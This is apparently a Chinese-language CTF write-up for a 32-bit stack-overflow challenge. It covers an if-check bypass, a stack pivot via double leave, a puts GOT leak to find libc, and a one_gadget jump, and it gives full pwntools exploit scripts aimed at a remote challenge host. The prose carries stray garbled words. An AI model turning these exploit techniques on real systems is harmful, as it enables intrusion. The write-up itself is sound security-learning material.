首先在main函数中须要绕过一个if判断才能进入漏洞函数
shell
漏洞函数中很明显的栈溢出漏洞,同时还控制了返回地址不能超过文件映射到内存的最大地址
函数
因此咱们的思路很明显,由于函数中控制了返回地址,因此断绝了直接返回运行shellcode的可能,因此咱们先经过双leave劫持栈,再在栈上布置返回shellcode的地址便可
栈的布置有三种打法,
一、在栈上布置system函数的地址,再双leave后的ret跳到system函数执行,并在栈上的相应位置布置上bin/sh的地址。但是经过屡次调试后失败了,虽然程序成功运行了system函数,可是却没有返回shell,这多是跟环境有关。
二、在栈上布置shellcode的返回地址,并在程序合适的段中写入shellcode,但是这个文件中并无可写并可执行的段,因此这个打不通。
三、在栈上布置one_gadget地址,经过这个成功打通。debug
想要知道one_gadget的地址,就必须泄露靶机的libc库3d
from pwn import * from LibcSearcher import * #context.log_level = 'debug' sh = remote('101.71.29.5',10041) elf = ELF('./a') read_plt = elf.plt['read'] puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] read_got = elf.got['read'] main_addr = 0x08048592 pop_ret = 0x080483b5 pop3_ret = 0x08048659 leave_ret = 0x08048468 sh.recvuntil('\n') payload = 'a'*0x20 + p32(1717986918) sh.sendline(payload) sh.recvuntil('name?\n') payload = 'a'*0x14 + p32(puts_plt) + p32(pop_ret) + p32(puts_got) + p32(0x0804853D) sh.sendline(payload) addr = sh.recv(4) a = hex(u32(addr)) obj = LibcSearcher('puts',0xf7613140)
得到libc库后,搜索one_gadget对应libc头部的偏移
调试
这里面one_gadget执行条件涉及到环境问题,一个个试就好,固然也能够本身调,最后给上打通的脚本code
from pwn import * from LibcSearcher import * context.log_level = 'debug' sh = remote('101.71.29.5',10041) #sh = process('./a') elf = ELF('./a') #libc = ELF('/lib/i386-linux-gnu/libc.so.6') puts_plt = 0x080483e0 puts_got = 0x08049ff0 read_plt = 0x080483d8 read_got = 0x08049fec leave_ret = 0x08048468 pop_ret = 0x080483b5 sh.recvuntil('\n') payload = 'a'*0x20 + p32(1717986918) sh.sendline(payload) sh.recvuntil('name?\n') payload = 'a'*0x14 + p32(puts_plt) + p32(pop_ret) + p32(puts_got) + p32(0x0804853D) sh.sendline(payload) addr = u32(sh.recv(4)) base = addr - 389440 onegadget_addr = base + 0x3a819 sh.recvuntil('name?\n') payload = 'a'*0x10 + p32(0x0804A080) + p32(read_plt) + p32(leave_ret) + p32(0) + p32(0x0804A080) + p32(0x1000) sh.sendline(payload) sleep(0.1) payload = p32(0) payload += p32(onegadget_addr) sh.send(payload) sh.interactive()